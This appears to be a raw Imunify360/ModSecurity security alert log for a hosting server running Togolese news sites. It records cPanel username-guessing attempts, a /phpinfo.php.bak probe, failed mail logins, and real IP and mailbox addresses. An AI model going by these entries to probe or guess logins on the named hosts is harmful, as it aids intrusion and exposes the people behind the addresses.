country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:20:46:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6395591&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781729209 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.107.173.95
country_id: 290557
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/04/Crise-Rwanda-RDC-Mission-de-bons-offices-du-chef-de-lEtat-a-Kinshasa.webp 800w, http:/togodailynews.tg/wp-content/uploads/2025/04/Crise-Rwanda-RDC-Mission-de-bons-offices-du-chef-de-lEtat-a-Kinshasa-300x278.webp 300w, http:/togodailynews.tg/wp-content/uploads/2025/04/Crise-Rwanda-RDC-Mission-de-bons-offices-du-chef-de-lEtat-a-Kinshasa-768x710.webp 768w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.188.162.28
country_id: 337996
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/937738746 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:20:50:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:20:50:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:20:50:18 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:20:50:21 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.5.179.70
country_id: 3585968
description:
[2026-06-17 20:51:20 +0000] info [cpaneld] 179.5.179.70 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.249.94.231
country_id: 3469034
description:
[2026-06-17 20:51:22 +0000] info [cpaneld] 167.249.94.231 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:20:51:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6659224&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781729471 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:20:51:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13329612&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781729473 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.100.233.248
country_id: 102358
description:
[2026-06-17 20:51:32 +0000] info [cpaneld] 167.100.233.248 - vitrinen "GET /login/?login_only=1&user=vitrinen&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitrinen (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.131.62.118
country_id: 3508796
description:
[2026-06-17 20:51:34 +0000] info [cpaneld] 38.131.62.118 - vitrinen "GET /login/?login_only=1&user=vitrinen&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitrinen (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.53.198.13
country_id: 2017370
description:
[2026-06-17 20:51:35 +0000] info [cpaneld] 84.53.198.13 - vitrine "GET /login/?login_only=1&user=vitrine&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitrine (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.144.82.96
country_id: 2542007
description:
[2026-06-17 20:51:38 +0000] info [cpaneld] 197.144.82.96 - vitrin "GET /login/?login_only=1&user=vitrin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitrin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.0.31.181
country_id: 3686110
description:
[2026-06-17 20:51:39 +0000] info [cpaneld] 167.0.31.181 - vitrine "GET /login/?login_only=1&user=vitrine&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitrine (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.18.2.142
country_id: 3686110
description:
[2026-06-17 20:51:41 +0000] info [cpaneld] 161.18.2.142 - vitri "GET /login/?login_only=1&user=vitri&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitri (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.104.166.5
country_id: 2589581
description:
[2026-06-17 20:51:44 +0000] info [cpaneld] 105.104.166.5 - vitr "GET /login/?login_only=1&user=vitr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.244.108.107
country_id: 3996063
description:
[2026-06-17 20:51:48 +0000] info [cpaneld] 187.244.108.107 - vit "GET /login/?login_only=1&user=vit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.64.18.74
country_id: 3932488
description:
[2026-06-17 20:51:49 +0000] info [cpaneld] 181.64.18.74 - vitri "GET /login/?login_only=1&user=vitri&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitri (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.23.36.246
country_id: 2361809
description:
[2026-06-17 20:51:58 +0000] info [cpaneld] 102.23.36.246 - vi "GET /login/?login_only=1&user=vi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vi (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.158.124
country_id: 2363686
description:
[2026-06-17 20:52:01 +0000] info [webmaild] 196.168.158.124 - odoo2@dagl.tg "POST /cpsess9768670544/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.208.72] != Current IP Address [196.168.158.124]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.63.95.245
country_id: 3865483
description:
[2026-06-17 20:51:28 +0000] info [cpaneld] 200.63.95.245 - vitrinenews "GET /login/?login_only=1&user=vitrinenews&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitrinenews (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.129.81.48
country_id: 2260494
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/01/f8e5b40ce3224c91a78a25a96337aa90_XL.jpg 770w, http:/togodailynews.tg/wp-content/uploads/2024/01/f8e5b40ce3224c91a78a25a96337aa90_XL-300x169.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2024/01/f8e5b40ce3224c91a78a25a96337aa90_XL-768x432.jpg 768w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.143.116
country_id: 2963597
description:
Jun 17 20:55:15 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.143.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.143.116
country_id: 2963597
description:
Jun 17 20:55:28 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.143.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.87.243.132
country_id: 3175395
description:
Jun 17 20:56:25 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.87.243.132 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.182.151.106
country_id: 953987
description:
102.182.151.106 - - [17/Jun/2026:20:56:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12883911&pdata=https%253A%252F%252Ftogodailynews.tg%252Fafrica-newsroom%252Fafricarc%252Fjswidgetv2%253Foffset%253D20%2526token%253DTzo4OiJzdGRDbGFzcyI6NDp7czo5OiJsYW5ndWFnZXMiO3M6MTk6ImE6MTp7aTowO3M6MjoiZnIiO30iO3M6NDoidGFncyI7YToxOntpOjA7YToyOntzOjY6InRhZ19pZCI7czozNToiMjkzLDIxMywyODUsMTEzLDEwOSwxMTcsMTg1LDEzMywxOTciO3M6NToidGFnX2MiO3M6MzoiNjUyIjt9fXM6NDoidHlwZSI7czoxOiJ3IjtzOjExOiJub19vZl9pdGVtcyI7aToyMDt9&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781729805 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/africa-newsroom/africarc/jswidgetv2?offset=20&token=Tzo4OiJzdGRDbGFzcyI6NDp7czo5OiJsYW5ndWFnZXMiO3M6MTk6ImE6MTp7aTowO3M6MjoiZnIiO30iO3M6NDoidGFncyI7YToxOntpOjA7YToyOntzOjY6InRhZ19pZCI7czozNToiMjkzLDIxMywyODUsMTEzLDEwOSwxMTcsMTg1LDEzMywxOTciO3M6NToidGFnX2MiO3M6MzoiNjUyIjt9fXM6NDoidHlwZSI7czoxOiJ3IjtzOjExOiJub19vZl9pdGVtcyI7aToyMDt9" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.3111.1885 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.182.151.106


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.42
country_id: 3469034
description:
Jun 17 20:57:05 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.42 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:20:59:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7129756&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781729971 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:20:59:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920805&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781729976 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 199.116.112.6
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-00.199.116.112.6||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:21:02:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.94.198.219
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2019/10/IMG-20191001-WA0038.jpg 1080w, http:/togodailynews.tg/wp-content/uploads/2019/10/IMG-20191001-WA0038-300x67.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2019/10/IMG-20191001-WA0038-768x172.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2019/10/IMG-20191001-WA0038-1024x229.jpg 1024w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:21:02:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:21:02:02 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:21:02:06 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-17 21:04:10 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:41264: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:21:04:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6984648&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781730267 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:21:04:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134021&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781730263 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.164
country_id: 1880251
description:
47.128.96.164 - - [17/Jun/2026:21:05:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6712729&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcristiano-junior%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781730342 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cristiano-junior/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.164


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 102.130.216.176
country_id: 3351879
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:page_title||MV:Evala 2024\xc2\xa0: Faure Gnassingb\xc3\xa9 assiste \xc3\xa0 la grande finale de Pya||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.104.167.28
country_id: 3686110
description:
[2026-06-17 21:06:16 +0000] info [cpaneld] 185.104.167.28 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.177.230.251
country_id: 2017370
description:
[2026-06-17 21:06:18 +0000] info [cpaneld] 81.177.230.251 - brmn "GET /login/?login_only=1&user=brmn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brmn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.198.250
country_id: 3658394
description:
[2026-06-17 21:06:24 +0000] info [cpaneld] 157.100.198.250 - brmntg "GET /login/?login_only=1&user=brmntg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brmntg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.97.14.154
country_id: 3686110
description:
[2026-06-17 21:06:32 +0000] info [cpaneld] 191.97.14.154 - br "GET /login/?login_only=1&user=br&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user br (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.121.29.109
country_id: 2542007
description:
[2026-06-17 21:06:28 +0000] info [cpaneld] 196.121.29.109 - br "GET /login/?login_only=1&user=br&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user br (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.250.191.224
country_id: 3469034
description:
[2026-06-17 21:06:27 +0000] info [cpaneld] 167.250.191.224 - brm "GET /login/?login_only=1&user=brm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brm (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.12
country_id: 1880251
description:
47.128.96.12 - - [17/Jun/2026:21:07:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7183509&pdata=https%253A%252F%252Ftdn.tg%252Faccident-tragique-assahoun%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781730448 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/accident-tragique-assahoun/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.12


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.213.43
country_id: 798544
description:
Jun 17 21:09:13 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.213.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.161.16.195
country_id: 1562822
description:
Jun 17 21:10:08 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.161.16.195 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.246.146.46
country_id: 3508796
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/07/12-1024x662-1.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2023/07/12-1024x662-1-300x194.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2023/07/12-1024x662-1-768x497.jpg 768w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.161.16.195
country_id: 1562822
description:
2026-06-17 21:10:10 dovecot_plain authenticator failed for H=(c5znnnz8saty51eig3m) [103.161.16.195]:31467: 535 Incorrect authentication data (set_id=emploi@emt.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 52.91.82.219
country_id: 6252001
domain: www.rbtv77.cloud-et-racks.tg
description:
IM360 WAF: Bad file extension||RSV:8.18||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:cloudetracks||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 106.127.142.66
country_id: 1814991
domain: www.togosem.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-13.106.127.142.66||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.62.145.60
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2019/08/IMG-20190829-WA0006.jpg 699w, http:/togodailynews.tg/wp-content/uploads/2019/08/IMG-20190829-WA0006-300x189.jpg 300w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.238.37.110
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:104.238.37.110||TA:104.238.37.110||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:21:15:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13092504&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781730913 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.112.34.172
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/917909011 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
